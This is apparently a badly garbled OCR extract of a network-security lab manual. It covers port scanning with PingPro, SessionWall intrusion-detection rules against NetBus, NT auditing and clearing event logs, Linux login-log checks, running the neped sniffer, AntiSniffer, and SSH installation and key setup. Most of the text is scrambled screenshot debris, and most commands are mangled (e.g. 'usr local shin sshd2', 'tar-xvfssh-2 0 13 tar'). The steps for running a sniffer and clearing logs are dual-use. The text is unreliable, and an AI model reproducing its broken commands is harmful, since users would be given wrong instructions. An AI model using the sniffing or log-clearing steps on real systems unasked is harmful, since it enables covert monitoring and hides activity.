?H‘-Hmﬁhiﬂnn-l-uﬂh-hﬂ_hﬂ-ﬁ-h%ﬂln_ﬁﬁ =]

PingPro
PingPro Scan
4 Pin9 Pro
192 168 1 x(x )

Start Miess [0 [0 I P
-

End Addreaz.

Timsaut: F

Address End Address

Halp I Clewr I E'I.n'l.l
low Eetwork [

1
;
Fi
-
;

E83534
.

g

r—
1

a(auTuan

i
I:
E
gl
&
Ed
-
i

7 SessionWall
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SessionWall
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SessionWall
IDS

SessionWall-3
HTTP FTP
SessionWall
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SessionWall

I SessiOnWall
2 Functions IntrsiOn Attempt Detection Rules

3 Edit Rules
Edit Rules. . ?!'!
4 New>Insen BefOre

5 NetBus

6 Client Range
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18 Properties WindowsNTEventLog
Hlack
Dafina Flocking Hula
<Mt Baruge o
h S
i ca® ﬂ tm Ei
~Tindws BT Fwint Lag
4
Irant
2l
>
19 NetBus
20 OK
21 Next
22 Time Always Next
23 Description Next

24 Users Properties NT

User Properties

£ -

Password: |

l;dni nistrator]

Confirm password: |

25 Finish
NetBus

IntrusionAttemptDetectionRules
NetBus

Pﬂm

[~ FTPAOOT [iision. 7~ 7 Beluscn. 28
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Edit Rules W | e 3 caidied Nelp |
1 5 .:4
26 OK
27 SessionWall
28 NetBus
29 NetBus SessionWall
30 View AlertMessage Show Alert Messages

31 NetBus




32 WindowsNTEventViewer NetBus

33 SessionWall NetBus

34 Functions Intrusion Attempt Detection Rules
35 Intrusion Attempt Detection Ruless Edit Rules
36 Edit Rule

37 Action

38 Block it OK

[ e S

F

| .-
T

Email notification te &
Fax motificstiom

Illl-l I

= ":? [Imtrizion detection Om.
; q [Ietrinien detasiisn

[Intresien detectien Eo..
14 [Intrusion detaction Fa ..
"?l [Intrusion detection Fi. .
ﬂ [Intrasien detection Go .

| e e | |

=] wa | maw | wm |

OK
Log n Ignore n
Active HTML contentAlert HTML
Email
SessionWall IDS
39 Apply OK
40 OK SessionWall
SessionWall
41 NetBus
NetBus Blocklt
NetBus
42 SessionWall AlertMessage
NetBus
43 Action Properties NetBus Sound
NetBus SessionWall
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NetBus
IDS
IDS
WindOwsNT
NT
WindowsNT
UserManager
Policies Audit AuditTheseEvents
Failure
OK
EventViewer L og>Security

Cecaiy
Smziy
‘Dimaily)
G iy
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-3 TR HEE Secup R L10 SYSIEM HENRY
8 UserManager
9 EventViewer
10
1
12 EventViewer

WindowsNT
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10

12
13
14
15
16

17
18

WindOWS$NT

NT
NTFS
NT Accounts
Accounts share Accounts

C

Accounts private txt
Accounts Properties
Security Audit
Add Everyone
Replace Auditing on Existing Files Eventsto Audit
InetPub C wWinnt C Winnt\system32 config
private Txt
>Administrative Tools>Event Viewer Event Viewer
Event Viewer Security Log
private txt

WindowsNT
Log>ClearAll Events
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20

Write Delete Change Permissions
NT
NTFS
LinUX

linux
1 root linux
2 last
3 lastlog
4 -X last
5
host#last —X reboot
hos~last —X shutdown
6 last —d
7 FTP Tenet

FTP Tenet

host#cat var log secure greptelnet
host#cat var log secure grep ftp

8 touch
host#touch var log btmp
9 linux
10 root
11 Vi var log btmp
12 lastb
Linux linux

Enterprise Reporting
Server WebTrends for Firewalls and VPNs

|SS
1SS
1 ISS Internet Scanner
2 lab
3 Scan ScanNow
4 Repons GenerateReport
5 Technician Vulnerabilities
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6 Vulnerability Assessment Sorted by |PAddress

T A

I0/2501 1T 4404

7
8 PreviewReport
ISS (Print Report)
(ExportReport)
9 ISS
ISS

Intranet firewall Webserver

Linux
1 root Linux
2 UNC teacher share neped ¢
3
host#gcc neped C —O neped
4 1 host#tcpdump
5 2 host#. neped ethO 1



neped linux
linux Sniffer

AntiSnifier

AntiSniffer NT Linux

Sniffer
1 Administrator WindowsNT
Administrator AntiSniffer
2 UNC teacher share AntiSniffer
AntiSniffer Cc
TEMP\AntiSniffer
Yes,Launchtheprogramfile AntiSniffer

Antitel| ¥ 1.0 S ] X

,;-;t' ns |

o i bl 1-' -|_-|r||..| _-'. 1 l

Lo

3 AntiSniffer
4 1 1mux
5 1 tcpdump —
NT SnifferPro
6 2 AntiSniffer NetworkConfigure
7 2 1P
Range
8 2
AntiSniffer ARP DNS SY Nflood
Ping
9 2 AntiSniffer
10 2 AntiSniffer
No

11 2 HostsTested 0 1 Reports



12 2 Report on Machine

13 2
14 ICMP Test Timings
AntiSniffer
AntiSniffer Sniffer NT LInux
AntiSniffer
SSH Server Telnet rlogin
linux SSH Telnet
1 UNC teacher share SSH
2 tar
host#gunzipssh-2 0 13 tar gz
3 tar

host#tar-xvfssh-2 0 13 tar

host#tar-zxvf ssh-2 0 13 tar gz

4 ssh-20 1.3 host#cdssh-2 0 13
ssh-2 0 13
ssh-2 0 13

5 configure hostg configure

6 SSH
host#make

7 SSH

host#make install

8 . sshd2

host# usr local shin sshd2

sshd2 SSH sshd2
SSH sshd2
9 eec rc d rc 10cd

usr local sbin sshd2
sshd2
linux

telnet r
SSH
SSH
SSH
SSH CIS
1 sshd2
host# usr local shin sshd2
2 WindowsNT SSH

IP



root linux

root root su root
root
5 Hostldentification Yes
6
7 Edit Properties Host
Keys
(Import ) (Export )
(Delete) ( )
8 SnifferPro
SSH

9 Telnet SSH SnifferPro

Telnet SSH

SSH FTP
SSH FTP
1 F-Secure SSH FTP
SSH FTP SSH FTP

1988-7-16 13:13
2000+2-24 15:00
2000-10-31 16:55
2000-12-4 1045
2000-12-1 11:02

2 Command Connect



Connect

Sniffer Pro

get

Properties

Category

= Interface
i1 ¥indows
. Path
. Confirmation
Log
i Console
ASCIT Extenczions
- FIP Protocel
FTF Proxy
- FIP Sezsion
=1-S8HZ Protocol

- Cipher and hmac

FTP

SnifferPro

Properties Properties

e e L

FTP

SOCKS Host mame or IP address:

SOCKES Fort number:

Cancal

Help

FTP Protocol

SSH LinuX




ssh-keygen2  linux

1 root
2 host#cd
3
host# usr loca bin ssh-keygen2
ssh-keuygen2
4 ssh-keygen2 password
password
5 ssh2-keygen2 ’ ssh2
6 ssh-keygen2 ssh2
host#cd ssh2
7 Is ‘
8 id dsa 1024 a id sa 1024 a pub
id dsa 1024 a id dsa 1024 a pub
dsa 1024
9 SX X pub(x ) '

host#cp id _dsa 1024 a Sx
host#cp id dsa 1024 a pubsx pub

10 tip teacher sx pub teacher tip
11

(NT NT NT Linux NT Linux )

LinlJX-V
1 root linux
2 .ssh host#cd ssh
3 identification authorization

host#touch identification

host#touch authorization
4 VI identification

key PrivateKey Name

PrivateKey Name

5 sx pub ssh2
6 Vi authorization

Key PublicKkey Name pub

PublicKkey name pub

7 usr local shin sshd2

host# usr local/bin ssh2 - root partner's machine
9 password
rootshell

1) ssh

(2 authorization
(Keysx pub)
10
root

11 FTP
usr local hbin sfip2 sx(sx X )
FTP



WIindOWsNT Linux

NT Linux
NT
Linux etc passwd etc shadow
1 1 root linux
2 1 root ciwcertified
host#passwd

New UNIX password
Retype new UNIX password
passwd all authentication tokens updated successfully

3 2 Administrator WindowsNT F-SecureSSH*
4 2 Edit Properties
5 2 Properties User keys

Properties __3_!,_5_51
Category :
[= Conmectian ESh kevr work with both S5HI snd SSHY servers QIS4
| Socks keys can only be used with S5H2 zervers.
Cipher and hmac
[~ Appearance D=4 lm
- Fomix =
- Colers .
Eeyboard r.r_'.*- n. slral: LY
Terminal Administratorifxy
& Toonsling HyKeyl Admind stretorlxy
" beLogal Tummeling WyKayZ Admind strator@xy
~-Remote Tunneling ¥ Admina stratoriixy i
- Host Eeys :
Security
Import. .. | Export. .. | Delete [
Zhange FPassphrass. . I Copy te :11_'pbml.rd!
[ 0K |  cancar | Help
6 2 Tools Key Generation Wizard
7 2
Export
8 2
9 2 Key Generation Wizard Comment
nt youmame Passphrase password
10 2 Generation
11 2
12 2
13 2 SSH Ssh  UserKeys
Properties
14 1 ssh
15 1 authorization
Key PublicKey FileName
16 1 identification
Idkey Name
SSH SSH




